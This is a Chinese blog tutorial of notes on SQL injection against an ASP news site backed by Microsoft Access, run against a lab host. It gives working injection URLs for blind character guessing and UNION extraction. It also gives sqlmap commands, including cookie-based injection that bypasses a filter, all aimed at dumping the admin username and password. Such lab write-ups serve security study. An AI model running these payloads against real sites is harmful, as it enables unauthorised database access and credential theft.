Access实例注入笔记

前言:

最近想把知识点,整理成一些文章,一点原因是对自己知识的沉淀做到温故而知新,另一点对于能帮助到别人解决疑惑也感到很开心。

下面开始重要内容:

Access注入形成的原理本文不在详细赘述,否则篇幅会过长,更多的是记录方法(本文后续会永久保持更新)。

Asp环境:小旋风

靶机地址:192.168.19.138

网站源码:雷驰新闻系统v 1.0

Access数据库结构:

Access数据库是以单文件,mdb格式,以表的形式存在,所以数据库也就是只有一个文件,它的结构如下图:

0x01-1 Access手工注入-逐字猜解法

注入点:http://192.168.19.138/leichinews/onews.asp?id=40

1.猜解数据表

我们在id后面构造语句and exists(select * from user),意思是查询Access表中的user表,如果这个user表存在,页面就会返回正常,如果不存在,则就会报错,至于是不是user,就要靠我们来进行暴力猜解了

1
http://192.168.19.138/leichinews/onews.asp?id=40 and exists(select* from user)

[页面报错,说明数据库中不存在user表]

1
http://192.168.19.138/leichinews/onews.asp?id=40 and exists(select* from admin)

[成功执行,页面没有变化,说明数据库中存在admin表]

2.猜解数据列

现在我们已经确定了该数据库中存在admin表,接下来当然是要猜解admin表中的列,在id参数后构造语句 and exists (select admin from admin),这条语句的意思是:查询admin表中的admin列,如果存在则返回正常,不存在则返回错误页面,现在我们进行构造:

1
http://192.168.19.138/leichinews/onews.asp?id=40 and exists(select admin from admin)

我们发现返回正常,说明admin表中存在admin列,我们再继续猜解,看还有哪些列,因为一般情况下,有一个账号列,就必然有一个密码列,因此现在继续猜解列,在id后构造内容and exists (select password from admin),这条语句的大意为:查询admin表下的password列,如果存在就返回正常,如果不存在则页面报错:

如上,可以得出结论,admin表中存在password列,接下来我们猜解admin列和password列的长度是多少,因此只有确认了字段的长度,才能更加准确的来猜解数据的内容

3.猜解数据列的长度

使用语句and (select top 1 len (admin) from admin)>4,这条语句的意思是,如果admin表中admin列的长度大于4,则返回正常,如果小于4,则页面报错,现在进行猜解

当我们输入4的时候返回正常,输入5的时候返回错误,因此我们判定,admin列的长度为5,password列长度也和上一步操作一样,只需将admin列改为password列即可。

4.猜解数据列的内容

接下来猜解admin列和password列的内容,在id后构造语句and (select top 1 asc (mid(admin,1,1)) from admin)>96,这条语句的意思是,如果admin列中第一个字符的ASCII码如果大于97则返回正常,如果小于97则返回错误。

可以看到,当我们输入97的时候,显示错误,96返回正常,说明第一个字符的ASCII码为97,对照下方ASCII表,可以得出,admin列中第一个字符为a

[构造and (select top 1 asc(mid(admin,2,1)) from admin)=97 则为判断第二位]

password列和上述方法一样,通过构造语句,and (select top 1 asc (mid(password,1,1)) from admin)>XX,其中X代表ASCII,根据页面的返回信息,可以很容易的判断出来字符的ASCII码,在通过上述表进行对照,即可得到账号密码,本文因篇幅有限,不再赘述重复的操作

通过一一的对比,我们成功的得出了账号密码。

0x01-2 Access手工注入-联合查询法

1.查询数据列数目

1
order by xx

可知列数目为11

2.猜解数据表

1
2
http://192.168.19.138/leichinews/onews.asp?id=40 UNION SELECT
1,2,3,4,5,6,7,8,9,10,11 from admin

查询access数据库中有没有admin表,存在返回正常,不存在返回错误

3.猜解数据列和列内容

1
2
http://192.168.19.138/leichinews/onews.asp?id=40 UNION SELECT
1,admin,password,4,5,6,7,8,9,10,11 from admin

查询access数据库中admin表下面有没有username,password列内容;如果有则列出内容,没有显示报错

如图可以成功得出,admin和password列中的内容

0X02-1 Access工具注入-常规注入

使用工具:SQLmap

1.猜解数据表

1
sqlmap.py -u http://192.168.19.138/leichinews/onews.asp?id=40 --dbs --tables

–dbs表示将数据库显示出来,–tables是将表名显示出来

2.猜解数据列

1
sqlmap.py -u http://192.168.19.138/leichinews/onews.asp?id=40 -T admin --columns

其中, -T代表当前要猜解的表名, –columns 代表猜解列,等待一段时间可以得到admin表中的列名

3.猜解数据列内容

1
sqlmap.py -u http://192.168.19.138/leichinews/onews.asp?id=40 -T admin -C "admin,password" --dump

-C 代表指定要猜解的列名,指定猜解admin和password列中的内容

0x02-2 Access工具注入-中转注入(cookie注入)

通过SQLmap,提交cookie数据,注入中转,成功绕过通用型防注入,通用型防注入只是过滤了POST参数,但是没有过滤cookie参数,因此我们使用SQLmap提交cookie数据,就成功的绕过了。

1.猜解数据表

1
sqlmap.py -u http://192.168.19.138/leichinews/onews.asp --cookie "id=40" --level 3 --dbs --tables

其中 -u 代表要测试的URL,–cookie表示使用cookie的方式提交, –level 表示测试的等级, –dbs表示将数据库显示出来,–tables是将表名显示出来

程序员没有考虑到恶意用户会通过cookie来提交参数,因此没有调用防注入程序来过滤cookie部分,从而导致cookie注入的发生。

这条SQLmap命令,level值至少为2 时SQLmap才会测试cookie,我们输入这条命令,按下回车,这时耐心等待一段时间,SQLmap会自动将表名猜解出来

2.猜解数据列

我们可以看到它已经猜解出了admin表和new表,根据经验判断,我们对admin表进行下一步猜解,使用命令

1
sqlmap.py -u http://192.168.19.138/leichinews/onews.asp --cookie "id=40" --level 3 --dbs -T admin --columns

其中, -T代表 当前要猜解的表名, –columns 代表猜解列,等待一段时间可以得到admin表中的列名

3.猜解数据列内容

账号密码一般都存储在admin和password列中,因此我们着重猜解这两列,使用命令

1
sqlmap.py -u http://192.168.19.138/leichinews/onews.asp --cookie "id=40" --level 3 --dbs -T admin -C "admin,password" --dump

其中,–dump的意思是 将数据内容脱到本地,执行上述命令后可以成功得到账号密码

作者

Se7en

发布于

2018-09-12

更新于

2022-03-31

许可协议

评论